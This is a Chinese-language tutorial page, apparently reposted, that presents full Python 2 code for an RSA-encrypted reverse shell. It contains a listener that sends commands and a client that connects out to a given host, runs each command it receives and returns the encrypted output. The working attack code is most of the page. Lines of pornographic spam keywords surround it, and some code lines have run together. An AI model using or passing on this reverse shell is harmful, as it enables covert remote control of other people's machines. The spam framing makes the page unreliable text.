国产成人精品18p,天天干成人网,无码专区狠狠躁天天躁,美女脱精光隐私扒开免费观看

如何使用RSA加密在Python中逆向shell

發(fā)布時(shí)間:2021-09-04 11:56 來(lái)源:億速云 閱讀:0 作者:chen 欄目: 網(wǎng)絡(luò )安全

本篇內容主要講解“如何使用RSA加密在Python中逆向shell”,感興趣的朋友不妨來(lái)看看。本文介紹的方法操作簡(jiǎn)單快捷,實(shí)用性強。下面就讓小編來(lái)帶大家學(xué)習“如何使用RSA加密在Python中逆向shell”吧!

使用RSA加密在Python中逆向shell

首先,我們需要一個(gè)偵聽(tīng)器來(lái)處理所有傳入的連接。 這是listener_rsa.py的代碼

#!/usr/bin/pythonfrom Crypto.PublicKey import RSAfrom Crypto import Randomfrom Crypto.Hash import SHA256import socketfrom thread import *import sysimport pickle#Generate public key and private keyrandom_generator = Random.new().read
key = RSA.generate(2048, random_generator)
public_key = key.publickey()#Create socket and bind to accept connectionss = socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:
    s.bind(("0.0.0.0", 4444))except socket.error, v:
    print "Binding failed. Error code : " + str(v[0]) + " Message " + v[1]
    sys.exit()
print "Socket bind complete"s.listen(2)print "[+] Listening to the incoming connection on port 4444..."def clientthread_sendpublickey(client) :    client.send(pickle.dumps(public_key))def clienthandle(client) :    while True :
        command = raw_input('~$ ')
        client.send(command)
        if command == 'quit' :
           break        buf = client.recv(2048)
        encreply = pickle.loads(buf)
        print key.decrypt(encreply)while True:
    (client, (ip, port)) = s.accept()
    print "Received connection from : ", ip
    start_new_thread(clientthread_sendpublickey, (client,))
    print "Public Key sent to", ip
start_new_thread(clienthandle, (client,))

我在Python中使用PyCrypto模塊進(jìn)行加密。 繼續安裝它。 我建議使用pip來(lái)安裝模塊。

$ sudo pip install pycrypto

在我們進(jìn)入代碼之前,讓我向你解釋一下RSA加密及其密鑰。 RSA是一種非對稱(chēng)加密標準。 它有兩個(gè)鍵,公共和私有。 簡(jiǎn)單來(lái)說(shuō),公鑰用于加密消息,私鑰用于解密。 下面是描述該過(guò)程的框圖

如果你對RSA的數學(xué)工作感興趣,那么我建議你閱讀http://mathworld.wolfram.com/RSAEncryption.html(當心,僅限極客)

在上面的程序中,首先生成密鑰,該密鑰也是私鑰。

key = RSA.generate(2048, random_generator)

函數RSA.generate有兩個(gè)參數,第一個(gè)是以位為單位的密鑰的大小,第二個(gè)是通常使用python隨機函數生成的隨機數。 在創(chuàng )建私鑰之后,從中提取公鑰并將其存儲在變量中以供將來(lái)使用。

public_key = key.publickey()

使用套接字模塊創(chuàng )建套接字,這相對簡(jiǎn)單。 你可以參考Python套接字1的官方文檔,甚至可以進(jìn)行簡(jiǎn)單的Google搜索。

套接字綁定并等待連接傳入連接。

注 - 如果要將Linux中的套接字綁定到小于1024的端口,則必須以root身份執行該腳本。

當收到連接時(shí),初始化新線(xiàn)程以將生成的公鑰發(fā)送到客戶(hù)端,以便它可以加密回復。

def clientthread_sendpublickey(client) :client.send(pickle.dumps(public_key))

我們?yōu)槭裁匆肞ickle? Pickle用于序列化和反序列化python對象。 由于public_key不是常規字符串,因此必須對其進(jìn)行pickle,然后將其發(fā)送到接收方。

警告 - pickle模塊不能防止錯誤或惡意構造的數據。 切勿取消從不受信任或未經(jīng)身份驗證的來(lái)源收到的數據。

一旦發(fā)送了公鑰,另一個(gè)線(xiàn)程clienthandle(客戶(hù)端)被初始化為T(mén)rue:loop,它發(fā)送給接收者的命令。 接收器運行命令并使用公鑰加密輸出。 然后將輸出的pickle發(fā)送給監聽(tīng)器。

回復是unpickled,使用私鑰解密并打印在屏幕上。

encreply = pickle.loads(buf)print key.decrypt(encreply)

如果給出'quit'命令,則終止連接。

反向shell

讓我們轉到反向shell所在的接收器端。 reverse_shell_rsa的腳本如下所示

#!/usr/bin/pythonimport socket, subprocess, sys
from Crypto.PublicKey import RSA
from Crypto.Hash import SHA256import pickle
RHOST = sys.argv[1]
RPORT = 4444s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))def receive_key():   data_key = s.recv(1024)
   return data_key

pickled_publickey = receive_key()
public_key = pickle.loads(pickled_publickey)
while True :    command = s.recv(1024)
    if command == 'quit' :
         break
    reply = subprocess.Popen(str(command), shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    stdout, stderr = reply.communicate()
    en_reply = public_key.encrypt(stdout, 32)
    s.send(pickle.dumps(en_reply))

s.close()

一如既往,導入必要的模塊。 要連接的IP地址作為參數提供,并存儲在RHOST變量中。 創(chuàng )建套接字并與(偵聽(tīng)器)建立連接。 一旦接受連接,服務(wù)器就會(huì )發(fā)送公鑰(在listener.py腳本中向上滾動(dòng)到clientthread_sendpublickey()),該公鑰通過(guò)函數receive_key()接收并去除(記住pickling?)以獲取公鑰。

def receive_key():data_key = s.recv(1024)return data_key

pickled_publickey = receive_key()
public_key = pickle.loads(pickled_publickey)

一段時(shí)間初始化True循環(huán)以保持連接的持久性并接收命令。 如果命令是“退出”,則節目結束。 否則,給定的命令作為子進(jìn)程和標準輸出運行,標準錯誤通過(guò)管道傳遞給變量'reply'。 然后使用公鑰對標準輸出進(jìn)行加密,pickling并發(fā)送到服務(wù)器。

en_reply = public_key.encrypt(stdout, 32)
s.send(pickle.dumps(en_reply))

然后耐心等待,直到下一個(gè)命令。

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自互聯(lián)網(wǎng)轉載和分享為主,文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權請聯(lián)系QQ:712375056 進(jìn)行舉報,并提供相關(guān)證據,一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容。

亚洲欧洲日产国码无码APP| 亚洲精品国产一二三无码AV| 美女视频黄频大全免费| 亚洲国产成人无码精品| 久久婷婷日日澡天天添| 日韩免费A级毛片无码A∨|